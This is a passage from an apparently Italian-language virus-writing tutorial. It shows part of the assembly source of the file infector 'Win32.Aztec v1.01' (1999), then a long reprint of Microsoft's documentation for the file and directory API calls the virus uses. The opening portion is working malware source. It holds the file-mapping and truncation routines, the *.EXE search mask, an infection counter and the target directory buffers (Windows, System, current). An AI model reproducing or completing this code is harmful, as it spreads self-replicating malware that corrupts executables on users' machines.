        xchg    eax,esi

        lodsw

        shl     eax,2

        add     eax,dword ptr [ebp+AddressTableVA]

        mov     esi,eax

        lodsd

        add     eax,[ebp+kernel]

        ret

GetAPI          endp

 

;----------------------------------------------------------------------------------------------------------------

; ROUTINE K32: IL KERNEL

; ROUTINE GETAPI: GLI INDIRIZZI DELLE API

; Il codice di cui sopra è già stato visto prima.

;----------------------------------------------------------------------------------------------------------------

 ; input:

 ;      EAX – Valore da allineare

 ;      ECX – Fattore di allineamento

 ; output:

 ;      EAX – Valore Allineato

 

Align           proc

        push    edx

        xor     edx,edx

        push    eax

        div     ecx

        pop     eax

        sub     ecx,edx

        add     eax,ecx

        pop     edx

        ret

Align           endp

 

;----------------------------------------------------------------------------------------------------------------

questa è la procedura di allineamento.

;----------------------------------------------------------------------------------------------------------------

 ; input:

 ;      ECX - dove troncare

 ; output:

 ;      Nulla.

 

TruncFile       proc

        xor     eax,eax

        push    eax

        push    eax

        push    ecx

        push    dword ptr [ebp+FileHandle]

        call    [ebp+_SetFilePointer]

 

        push    dword ptr [ebp+FileHandle]

        call    [ebp+_SetEndOfFile]

        ret

TruncFile       endp

;----------------------------------------------------------------------------------------------------------------

; La funzione SetFilePointer muove il file pointer di un file aperto.     

;----------------------------------------------------------------------------------------------------------------

 ; input:

 ;      ESI – Puntatore al file da aprire

 ; output:

 ;      EAX - File handle  (se va tutto bene)

 

OpenFile        proc

        xor     eax,eax

        push    eax

        push    eax

        push    00000003h

        push    eax

        inc     eax

        push    eax

        push    80000000h or 40000000h

        push    esi

        call    [ebp+_CreateFileA]

        ret

OpenFile        endp

 

;----------------------------------------------------------------------------------------------------------------

; apriamo il file

;----------------------------------------------------------------------------------------------------------------

 ; input:

 ;      ECX – misura da mappare

 ; output:

 ;      EAX - MapHandle se tutto OK

 

CreateMap       proc

        xor     eax,eax

        push    eax

        push    ecx

        push    eax

        push    00000004h

        push    eax

        push    dword ptr [ebp+FileHandle]

        call    [ebp+_CreateFileMappingA]

        ret

CreateMap       endp

;----------------------------------------------------------------------------------------------------------------

; la funzione CreateFileMapping function crea un named o unnamed file-mapping object per il file

; specificato.

;----------------------------------------------------------------------------------------------------------------

 ; input:

 ;      ECX – idem come sopra

 ; output:

 ;      EAX - MapAddress se OK

 

MapFile         proc

        xor     eax,eax

        push    ecx

        push    eax

        push    eax

        push    00000002h

        push    dword ptr [ebp+MapHandle]

        call    [ebp+_MapViewOfFile]

        ret

MapFile         endp

 

;----------------------------------------------------------------------------------------------------------------

; la funzione MapViewOfFile mappa una “view” di un file nello spazion di indirizzamento del processo chiamante.

;----------------------------------------------------------------------------------------------------------------

 

mark_   db      "[Win32.Aztec v1.01]",0

        db      "(c) 1999 Billy Belcebu/iKX",0

 

EXE_MASK        db      "*.EXE",0

 

infections      dd      00000000h

kernel          dd      kernel_

 

@@Namez                 label   byte

 

@FindFirstFileA         db      "FindFirstFileA",0

@FindNextFileA          db      "FindNextFileA",0

@FindClose              db      "FindClose",0

@CreateFileA            db      "CreateFileA",0

@SetFilePointer         db      "SetFilePointer",0

@SetFileAttributesA     db      "SetFileAttributesA",0

@CloseHandle            db      "CloseHandle",0

@GetCurrentDirectoryA   db      "GetCurrentDirectoryA",0

@SetCurrentDirectoryA   db      "SetCurrentDirectoryA",0

@GetWindowsDirectoryA   db      "GetWindowsDirectoryA",0

@GetSystemDirectoryA    db      "GetSystemDirectoryA",0

@CreateFileMappingA     db      "CreateFileMappingA",0

@MapViewOfFile          db      "MapViewOfFile",0

@UnmapViewOfFile        db      "UnmapViewOfFile",0

@SetEndOfFile           db      "SetEndOfFile",0

                        db      0BBh

 

                        align   dword

virus_end               label   byte

 

heap_start              label   byte

 

                        dd      00000000h

 

NewSize                 dd      00000000h

SearchHandle            dd      00000000h

FileHandle              dd      00000000h

MapHandle               dd      00000000h

MapAddress              dd      00000000h

AddressTableVA          dd      00000000h

NameTableVA             dd      00000000h

OrdinalTableVA          dd      00000000h

 

@@Offsetz               label   byte

_FindFirstFileA         dd      00000000h

_FindNextFileA          dd      00000000h

_FindClose              dd      00000000h

_CreateFileA            dd      00000000h

_SetFilePointer         dd      00000000h

_SetFileAttributesA     dd      00000000h

_CloseHandle            dd      00000000h

_GetCurrentDirectoryA   dd      00000000h

_SetCurrentDirectoryA   dd      00000000h

_GetWindowsDirectoryA   dd      00000000h

_GetSystemDirectoryA    dd      00000000h

_CreateFileMappingA     dd      00000000h

_MapViewOfFile          dd      00000000h

_UnmapViewOfFile        dd      00000000h

_SetEndOfFile           dd      00000000h

 

MAX_PATH                equ     260

 

FILETIME                STRUC

FT_dwLowDateTime        dd      ?

FT_dwHighDateTime       dd      ?

FILETIME                ENDS

 

WIN32_FIND_DATA         label   byte

WFD_dwFileAttributes    dd      ?

WFD_ftCreationTime      FILETIME ?

WFD_ftLastAccessTime    FILETIME ?

WFD_ftLastWriteTime     FILETIME ?

WFD_nFileSizeHigh       dd      ?

WFD_nFileSizeLow        dd      ?

WFD_dwReserved0         dd      ?

WFD_dwReserved1         dd      ?

WFD_szFileName          db      MAX_PATH dup (?)

WFD_szAlternateFileName db      13 dup (?)

                        db      03 dup (?)

 

directories             label   byte

 

WindowsDir              db      7Fh dup (00h)

SystemDir               db      7Fh dup (00h)

OriginDir               db      7Fh dup (00h)

dirs2inf                equ     (($-directories)/7Fh)

mirrormirror            db      dirs2inf

 

heap_end                label   byte

;----------------------------------------------------------------------------------------------------------------

; questi sono i dati utilizati dal virus.

;----------------------------------------------------------------------------------------------------------------

 

; HOST Prima generazione

 

fakehost:

        pop     dword ptr fs:[0]                ; pulisce stack

        add     esp,4

        popad

        popfd

 

        xor     eax,eax                         ; messaggio

        push    eax                             ; di prima generazione

        push    offset szTitle

        push    offset szMessage

        push    eax

        call    MessageBoxA

 

        push    00h                             ; fine prima generazione

        call    ExitProcess

 

end     aztec

 

;----------------------------------------------------------------------------------------------------------------

;----------------------------------------------------------------------------------------------------------------

 

2. API utilizzate nel codice

 

le descrizioni sono state prese pari pari dall’help API ufficiale della Microsoft.

----------------------------------------------------------------------------------------------                                                                       

 

  The GetWindowsDirectory function retrieves the path of the Windows dir. The Windows directory contains such files as Windows-based applications,  initialization files, and Help files.                                     

                                                                            

   UINT GetWindowsDirectory(                                                

     LPTSTR lpBuffer,    // address of buffer for Windows directory         

     UINT uSize  // size of directory buffer                                

    )                                                                       

                                                                            

   Parameters                                                                

    lpBuffer: Points to the buffer to receive the null-terminated string containing the path. This path does not end with a backslash unless da  Windows directory is the root directory. For example, if the Windows        directory is named WINDOWS on drive C, the path of the Windows directory retrieved by this function is C:\WINDOWS. If Windows was installed  in the root directory of drive C, the path retrieved is C:\.           

    uSize: Specifies the maximum size, in characters, of the buffer specified by the lpBuffer parameter. This value should be set to at least MAX_PATH to allow sufficient room in the buffer for the path.          

                                                                             

   Return Values                                                            

    If the function succeeds, the return value is the length, in chars, of  the string copied to the buffer, not including the terminating null  character. If the length is greater than the size of the buffer, the return value  is the size of the buffer required to hold the path.                   

                                                                            

  ----------------------------------------------------------------------------------------------                                                                      

                                                                            

   The GetSystemDirectory function retrieves the path of the Windows system directory. The system directory contains such files as Windows libraries  drivers, and font files.                                                 

                                                                            

   UINT GetSystemDirectory(                                                 

     LPTSTR lpBuffer,    // address of buffer for system directory          

     UINT uSize  // size of directory buffer                                

    )                                                                        

                                                                            

    Parameters                                                               

    lpBuffer: Points to the buffer to receive the null-terminated string containing the path. This path does not end with a backslash unless da  system directory is the root directory. For example, if the system     

     directory is named WINDOWS\SYSTEM on drive C, the path of the system directory retrieved by this function is C:\WINDOWS\SYSTEM.             

                                                                            

    uSize: Specifies the maximum size of the buffer, in characters. This value should be set to at least MAX_PATH.                               

                                                                            

   Return Values                                                            

    If the function succeeds, the return value is the length, in chars, of  the string copied to the buffer, not including the terminating null  character. If the length is greater than the size of the buffer, the return value is the size of the buffer required to hold the path.      

                                                                             

  ----------------------------------------------------------------------------------------------                                                                      

                                                                             

   The GetCurrentDirectory function retrieves the current directory for the  current process.                                                         

                                                                             

   DWORD GetCurrentDirectory(                                               

     DWORD nBufferLength,        // size in characters, of directory buffer  

     LPTSTR lpBuffer     // address of buffer for current directory         

    )                                                                        

                                                                            

   Parameters                                                               

    nBufferLength: Specifies the length, in characters, of the buffer for  the current directory string. The buffer length must include room for    a terminating null character.                                          

   lpBuffer: Points to the buffer for the current directory string. This null-terminated string specifies the absolute path to the current directory.                                                             

                                                                            

   Return Values                                                     

    If the function succeeds, the return value specifies the number of  characters written to the buffer, not including the terminating null   character.                                                             

 

----------------------------------------------------------------------------------------------                                                                      

 

  The SetCurrentDirectory function changes the current directory for the current process.                                                         

                                                                            

   BOOL SetCurrentDirectory(                                                

     LPCTSTR lpPathName  // address of name of new current directory        

    )                                                                       

                                                                            

   Parameters                                                                

    lpPathName: Points to a null-terminated string that specifies the path  to the new current directory. This parameter may be a relative path or   a fully qualified path. In either case, the fully qualified path of    

     the specified directory is calculated and stored as the current   directory.                                                             

                                                                            

   Return Values                                                             

    If the function succeeds, the return value is nonzero.                 

 

----------------------------------------------------------------------------------------------                                                                       

struttura WIN32_FIND_DATA

 

  MAX_PATH                equ     260  <-- The maximum size of a path      

                                                                            

   FILETIME                STRUC        <-- Struture for handle the time,   

   FT_dwLowDateTime        dd      ?        present in many Win32 strucs    

   FT_dwHighDateTime       dd      ?                                        

   FILETIME                ENDS                                             

                                                                             

   WIN32_FIND_DATA         STRUC                                            

   WFD_dwFileAttributes    dd      ?    <-- Contains the file attributtes   

   WFD_ftCreationTime      FILETIME ?   <-- Moment when da file was created 

   WFD_ftLastAccessTime    FILETIME ?   <-- Last time when file was accessed

   WFD_ftLastWriteTime     FILETIME ?   <-- Last time when file was written 

   WFD_nFileSizeHigh       dd      ?    <-- MSD of file size                

   WFD_nFileSizeLow        dd      ?    <-- LSD of file size                

   WFD_dwReserved0         dd      ?    <-- Reserved                        

   WFD_dwReserved1         dd      ?    <-- Reserved                         

   WFD_szFileName          db      MAX_PATH dup (?) <-- ASCIIz file name    

   WFD_szAlternateFileName db      13 dup (?) <-- File name without path    

                           db      03 dup (?) <-- Padding                   

   WIN32_FIND_DATA         ENDS                                             

                                                                            

    dwFileAttributes: Specifies the file attributes of the file found.This member can be one or more of the following values [Not enough  space for include them here:you have them at 29A INC files (29A#2) and      the document said before.]                                             

                                                                            

    ftCreationTime: Specifies a FILETIME structure containing the time the file was created. FindFirstFile and  FindNextFile report file times in  Coordinated Universal Time (UTC) format. These functions set the        

 

     FILETIME members to zero if the file system containing the file does not support this time member. You can use the FileTimeToLocalFileTime  function to convert from UTC to local time, and then use the           

 

     FileTimeToSystemTime function to convert da local time to a SYSTEMTIME structure  containing individual  members  for  the month, day, year,   weekday, hour, minute, second, and millisecond.                        

                                                                            

    ftLastAccessTime: Specifies a FILETIME structure containing the time that the file was last accessed.The time is in UTC format the FILETIME  members are zero if the file system does not support this time member. 

                                                                             

    ftLastWriteTime: Specifies a FILETIME structure containing the time that da file was last written to.Da time is in UTC format the FILETIME members are zero if the file system does not support this time member. 

                                                                             

    nFileSizeHigh: Specifies the high-order DWORD value of the file size, in bytes. This value is zero unless the file size is greater than MAXDWORD. The size of the file is equal to (nFileSizeHigh * MAXDWORD)  + nFileSizeLow.                                                        

                                                                            

    nFileSizeLow: Specifies the low-order DWORD value of the file size, in   bytes.                                                                  

                                                                            

    dwReserved0: Reserved for future use.                                  

                                                                             

    dwReserved1: Reserved for future use.                                  

                                                                            

    cFileName: A null-terminated string that is the name of the file.      

                                                                             

    cAlternateFileName: A null-terminated string that is an alternative name for the file.This name is in the classic 8.3 (filename.ext) filename format.                                                              

                                                                            

   Well, as we know now the fields of the WFD structure, we can take a deep look to "Find" functions of Windows. First, let's see the description of   the API FindFirstFileA:                                                  

                                                                            

----------------------------------------------------------------------------------------------                                                                       

 

   The FindFirstFile function searches a directory for a file whose name matches the specified filename.FindFirstFile examines subdirectory names   as well as filenames.                                                     

                                                                            

   HANDLE FindFirstFile(                                                    

     LPCTSTR lpFileName,  // pointer to name of file to search for          

     LPWIN32_FIND_DATA lpFindFileData    // pointer to returned information 

    )                                                                       

                                                                            

   Parameters                                                               

    lpFileName: A. Windows 95: Points to a null-terminated string that specifies a valid directory or path and filename, which  can contain wildcard characters (* and ?). This string must not exceed MAX_PATH characters.

 B. Windows NT: Points  to a null-terminated string that specifies a valid directory or path and filename, which can contain wildcard characters (* and ?).              

                                                                             

   There is a default string size limit for paths of MAX_PATH characters. This limit is related to how the FindFirstFile function  parses  paths. An application can transcend this limit and send in paths longer than     MAX_PATH characters by calling the wide (W) version of FindFirstFile and prepending "\\?\" to  the path.The "\\?\" tells the function to turn off path parsing  it lets paths longer than MAX_PATH be used with  FindFirstFileW. This also works with UNC names. The "\\?\" is ignored as part of the path. For example "\\?\C:\myworld\private" is seen as “C:\myworld\private", and "\\?\UNC\bill_g_1\hotstuff\coolapps"is seen as  "\\bill_g_1\hotstuff\coolapps"                                           

                                                                             

    lpFindFileData: Points to the WIN32_FIND_DATA structure that receives information about the found file or subdirectory. The structure can be used in subsequent calls to the FindNextFile or FindClose function to  refer to the file or subdirectory.                                     

                                                                            

   Return Values                                                            

  If the function succeeds,the return value is a search handle used in a subsequent call to FindNextFile or FindClose.                          

                                                                            

    If the function fails, the return value is INVALID_HANDLE_VALUE.To get extended error information, call GetLastError.                         

                                                                            

----------------------------------------------------------------------------------------------                                                                      

 

  The FindNextFile function continues a file search from a previous call   to the FindFirstFile function.                                            

                                                                            

   BOOL FindNextFile(                                                       

     HANDLE hFindFile,   // handle to search                                 

     LPWIN32_FIND_DATA lpFindFileData    // pointer to structure for data   

                                         // on found file                   

    )                                                                       

                                                                             

   Parameters                                                               

    hFindFile: Identifies a search handle returned by a previous call to   the FindFirstFile function.                                             

                                                                            

    lpFindFileData: Points to the WIN32_FIND_DATA structure that receives information about the found file or subdirectory. The structure can be used in subsequent calls to FindNextFile to refer to the found file or   directory.                                                             

                                                                            

   Return Values                                                             

  If the function succeeds, the return value is nonzero.                 

                                                                            

    If the function fails, the return value is zero. To get extended error  information, call GetLastError                                         

    If  no matching files  can be found, the GetLastError function returns ERROR_NO_MORE_FILES.                                                   

                                                                             

   If the FindNextFile returned error, or if the virus has reached the maximum number of infections possible,we arrive to the last routine of this block. It consist in closing the search handle with the FindClose API.   As usual, here comes the description of such API:                        

                       

----------------------------------------------------------------------------------------------                                                                       

                                                    

   The FindClose function closes the specified search handle. The FindFirstFile and FindNextFile functions use the search handle to locate   files with names that match a given name.                                

                                                                            

   BOOL FindClose(                                                          

     HANDLE hFindFile    // file search handle                               

    )                                                                       

                                                                            

                                                                             

   Parameters                                                               

    hFindFile: Identifies the search handle. This handle must have been previously opened by the FindFirstFile function.                       

                                                                             

   Return Values                                                            

  If the function succeeds, the return value is nonzero.                 

                                                                             

    If the function fails, the return value is zero. To get extended error   information, call GetLastError                                         

                                                                            

----------------------------------------------------------------------------------------------                                                                      

 

  The SetFileAttributes function sets a file's attributes.                 

                                                                             

   BOOL SetFileAttributes(                                                  

     LPCTSTR lpFileName, // address of filename                             

     DWORD dwFileAttributes      // address of attributes to set            

    )                                                                       

                                                                            

   Parameters                                                                

    lpFileName: Points to a string that specifies da name of da file whose  attributes are to be set.                                              

                                                                            

    dwFileAttributes: Specifies da file attributes to set for da file.This parameter can be a combination of the following values. However, all   other values override FILE_ATTRIBUTE_NORMAL.                           

                                                                             

   Return Values                                                            

   If the function succeeds, the return value is nonzero.                 

                                                                             

    If the function fails, the return value is zero. To get extended error  information, call GetLastError                                         

                                                                            

   After set the new attributes, we open the file, and, if no error happened, it stores the handle in its variable.                               

 

----------------------------------------------------------------------------------------------                                                                       

 

  The UnmapViewOfFile function unmaps a mapped view of a file from the calling process's address space.                                         

                                                                             

   BOOL UnmapViewOfFile(                                                    

     LPCVOID lpBaseAddress       // address where mapped view begins        

    )                                                                       

                                                                             

   Parameters                                                               

    lpBaseAddress: Points to the base address of the mapped view of a file  that is to be unmapped. This value must be identical to the value returned by a previous call to the MapViewOfFile or MapViewOfFileEx  function.                                                              

                                                                            

   Return Values                                                            

    If the function succeeds, the return value is nonzero, and all dirty pages within the specified range are written "lazily" to disk.         

                                                                             

    If the function fails, the return value is zero. To get extended error  information, call GetLastError                                         

                                                                             

  ----------------------------------------------------------------------------------------------                                                                      

                                                                            

   The CloseHandle function closes an open object handle.                   

                                                                            

   BOOL CloseHandle(                                                        

     HANDLE hObject      // handle to object to close                       

    )                                                                       

                                                                            

   Parameters                                                                

    hObject: Identifies an open object handle.                             

                                                                            

   Return Values                                                             

    If the function succeeds, the return value is nonzero. If the function fails, the return value is zero. To get extended error  information, call GetLastError                                         

                                                                             

----------------------------------------------------------------------------------------------                                                                      

 

  DWORD SetFilePointer(                                                     

     HANDLE hFile,       // handle of file                                  

     LONG lDistanceToMove,       // number of bytes to move file pointer    

     PLONG lpDistanceToMoveHigh, // address of high-order word of distance  

                                 // to move                                 

     DWORD dwMoveMethod  // how to move                                     

    )                                                                       

                                                                             

   Parameters                                                               

    hFile: Identifies the file whose file pointer is to be moved. The file handle must have been created with GENERIC_READ or GENERIC_WRITE access  to the file.                                                           

                                                                            

    lDistanceToMove: Specifies the number of bytes to move the file pointer A positive value moves the pointer forward in the file and a negative  value moves it backward.                                               

                                                                            

    lpDistanceToMoveHigh: Points to the high-order word of the 64-bit distance to move.If the value of this parameter is NULL,SetFilePointer can operate only on files whose maximum size is 2^32 - 2. If this      

     parameter is specified,the maximum file size is 2^64 - 2.This parameter also receives the high-order word of the new value of the file pointer.

                                                                            

    dwMoveMethod: Specifies the starting point for the file pointer move. This parameter can be one of the following values:                     

                                                                            

              Value                                                              Meaning                                               

                                                                             

     + FILE_BEGIN   - The starting point is zero or the beginning of the file.If FILE_BEGIN is specified,DistanceToMove is  interpreted as an unsigned location for the new file  pointer.                                              

     + FILE_CURRENT - The current value of the file pointer is the starting  point.                                                

     + FILE_END     - The current end-of-file position is the starting point

                                                                                                                                                         

   Return Values                                                    

    If the SetFilePointer function succeeds, the return value is the low-order doubleword of the new file pointer, and if lpDistanceToMoveHigh is not NULL, the function puts the high-order doubleword of the new   file pointer into the LONG pointed to by that parameter.               

    If the function fails and lpDistanceToMoveHigh is NULL, the return  value is 0xFFFFFFFF. To get extended error information, call   GetLastError.                                                          

    If the function fails, and lpDistanceToMoveHigh is non-NULL,the return value is 0xFFFFFFFF and GetLastError will return a value other than    NO_ERROR.                                                              

                                                                             

  ----------------------------------------------------------------------------------------------                                                                      

                                                                             

   The SetEndOfFile function moves the end-of-file (EOF) position for the specified file to the current position of the file pointer.              

                                                                            

   BOOL SetEndOfFile(                                                       

     HANDLE hFile        // handle of file whose EOF is to be set           

    )                                                                       

                                                                             

   Parameters                                                               

    hFile: Identifies the file to have its EOF position moved. The file handle must have been created with GENERIC_WRITE access to the file.   

                                                                            

   Return Values                                                            

    If the function succeeds, the return value is nonzero.                 

    If the function fails, the return value is zero. To get extended error   information, call GetLastError                                         

 

  ----------------------------------------------------------------------------------------------                                                                       

 

  The CreateFile function creates or opens the following objects and  returns a handle that can be used to access the object:                  

                                                                             

        + files (we are interested only in this one)                        

        + pipes                                                             

        + mailslots                                                          

        + communications resources                                          

        + disk devices (Windows NT only)                                    

        + consoles                                                          

        + directories (open only)                                           

                                                                            

   HANDLE CreateFile(                                                       

     LPCTSTR lpFileName, // pointer to name of the file                     

     DWORD dwDesiredAccess,      // access (read-write) mode                

     DWORD dwShareMode,  // share mode                                      

     LPSECURITY_ATTRIBUTES lpSecurityAttributes, // pointer to sec. attrib. 

     DWORD dwCreationDistribution,       // how to create                   

     DWORD dwFlagsAndAttributes, // file attributes                         

     HANDLE hTemplateFile        // handle to file with attributes to copy  

    )                                                                       

                                                                            

   Parameters                                                               

    lpFileName: Points to a null-terminated string that specifies the name of the object (file, pipe, mailslot, communications resource, disk  device, console, or directory) to create or open.  If *lpFileName is a path, there is a default string size limit of  MAX_PATH characters. This limit is related to how the CreateFile       

     function parses paths.                                                 

                                                                            

    dwDesiredAccess: Specifies the type of access to the object. An application can obtain read access, write access, read-write access,or  device query access.                                                   

                                                                            

    dwShareMode: Set of bit flags that specifies how the object can be shared. If dwShareMode is 0, the object cannot be shared. Subsequent  open operations on the object will fail, until the handle is closed.   

                                                                             

    lpSecurityAttributes: Pointer to a SECURITY_ATTRIBUTES structure that determines whether the returned handle can be inherited by child processes. If lpSecurityAttributes is NULL, the handle cannot be inherited.                                                              

                                                                            

    dwCreationDistribution: Specifies which action to take on files that exist, and which action to take when files do not exist.                

                                                                            

    dwFlagsAndAttributes: Specifies the file attributes and flags for the  file.                                                                  

                                                                             

    hTemplateFile:Specifies a handle with GENERIC_READ access to a template file.The template file supplies file attributes and extended attributes for the file being created. Windows 95: This value must be NULL. If    you supply a handle under Windows 95, the call fails and GetLastError returns ERROR_NOT_SUPPORTED.                                           

                                                                            

   Return Values                                                            

   If the function succeeds, the return value is an open handle to the  specified file. If the specified file exists before the function call and dwCreationDistribution is CREATE_ALWAYS or OPEN_ALWAYS, a call to GetLastError returns ERROR_ALREADY_EXISTS (even though the function has succeeded). If the file does not exist before the call, GetLastError  returns zero.                                                          

    If the function fails, the return value is INVALID_HANDLE_VALUE.To get extended error information, call GetLastError.                         

 

 

  ----------------------------------------------------------------------------------------------                                                                       

 

  The CreateFileMapping function creates a named or unnamed file-mapping object for the specified file.                                           

                                                                             

   HANDLE CreateFileMapping(                                                

     HANDLE hFile,       // handle to file to map                           

     LPSECURITY_ATTRIBUTES lpFileMappingAttributes, // optional sec.attribs 

     DWORD flProtect,    // protection for mapping object                   

     DWORD dwMaximumSizeHigh,    // high-order 32 bits of object size       

     DWORD dwMaximumSizeLow,     // low-order 32 bits of object size        

     LPCTSTR lpName      // name of file-mapping object                     

    )                                                                       

                                                                            

   Parameters                                                                

    hFile: Identifies the file from which to create a mapping object. The file must be opened with an access mode compatible with the protection flags specified by the flProtect parameter. It is recommended, though  not required, that files you intend to map be opened for exclusive  access.                                                                

     If hFile is (HANDLE)0xFFFFFFFF, the calling process must also specify a mapping object size in the dwMaximumSizeHigh and dwMaximumSizeLow parameters.The function creates a file-mapping object of the specified size backed by the operating-system paging file rather than by a named 

     file in the file system. The file-mapping object can be shared through duplication, through inheritance, or by name.                          

                                                                            

    lpFileMappingAttributes: Pointer to a SECURITY_ATTRIBUTES structure that determines whether the returned handle can be inherited by child processes. If lpFileMappingAttributes is NULL, the handle cannot be inherited.                                                             

                                                                            

    flProtect: Specifies the protection desired for the file view, when the file is mapped.                                                        

                                                                            

    dwMaximumSizeHigh: Specifies the high-order 32 bits of the maximum size of the file-mapping object.                                            

                                                                            

    dwMaximumSizeLow: Specifies the low-order 32 bits of the maximum size of the file-mapping object. If this parameter and dwMaximumSizeHig are zero, the maximum size of the file-mapping object is equal to the current size of the file identified by hFile.                          

                                                                             

    lpName: Points to a null-terminated string specifying the name of the mapping object.The name can contain any character except the backslash character (\).                                                         

     If this parameter matches the name of an existing named mapping object, the function requests access to the mapping object with the protection specified by flProtect.                                                

     If this parameter is NULL, the mapping object is created without a name 

                                                                            

   Return Values                                                   

    If the function succeeds, the return value is a handle to the file-mapping object. If the object existed before the function call, the GetLastError function returns ERROR_ALREADY_EXISTS, and the return      value is a valid handle to the existing file-mapping object (with its current size, not the new specified size. If the mapping object did not exist, GetLastError returns zero.                                      

    If the function fails, the return value is NULL. To get extended error  information, call GetLastError                                         

 

  ----------------------------------------------------------------------------------------------                                                                      

 

   The MapViewOfFile function maps a view of a file into the address space  of the calling process.                                                  

                                                                            

   LPVOID MapViewOfFile(                                                    

     HANDLE hFileMappingObject,  // file-mapping object to map              

     DWORD dwDesiredAccess,      // access mode                             

     DWORD dwFileOffsetHigh,     // high-order 32 bits of file offset       

     DWORD dwFileOffsetLow,      // low-order 32 bits of file offset        

     DWORD dwNumberOfBytesToMap  // number of bytes to map                  

    )                                                                       

                                                                            

                                                                             

   Parameters                                                               

    hFileMappingObject: Identifies an open handle of a file-mapping object. The CreateFileMapping and OpenFileMapping functions return this handle.

                                                                            

    dwDesiredAccess: Specifies the type of access to the file view and, therefore, the protection of the pages mapped by the file.              

                                                                            

    dwFileOffsetHigh: Specifies the high-order 32 bits of the file offset  where mapping is to begin.                                             

                                                                             

    dwFileOffsetLow: Specifies the low-order 32 bits of the file offset where mapping is to begin. The combination of the high and low offsets must specify an offset within the file that matches the system's memory  allocation granularity, or the function fails. That is, the offset must be a multiple of the allocation granularity. Use the GetSystemInfo function, which fills in the members of a SYSTEM_INFO structure, to  obtain the system's memory allocation granularity.                     

                                                                            

    dwNumberOfBytesToMap: Specifies the number of bytes of the file to map.If dwNumberOfBytesToMap is zero, the entire file is mapped.             

                                                                            

   Return Values                                                            

    If the function succeeds, the return value is the starting address of   the mapped view.                                                        

    If the function fails, the return value is NULL. To get extended error  information, call GetLastError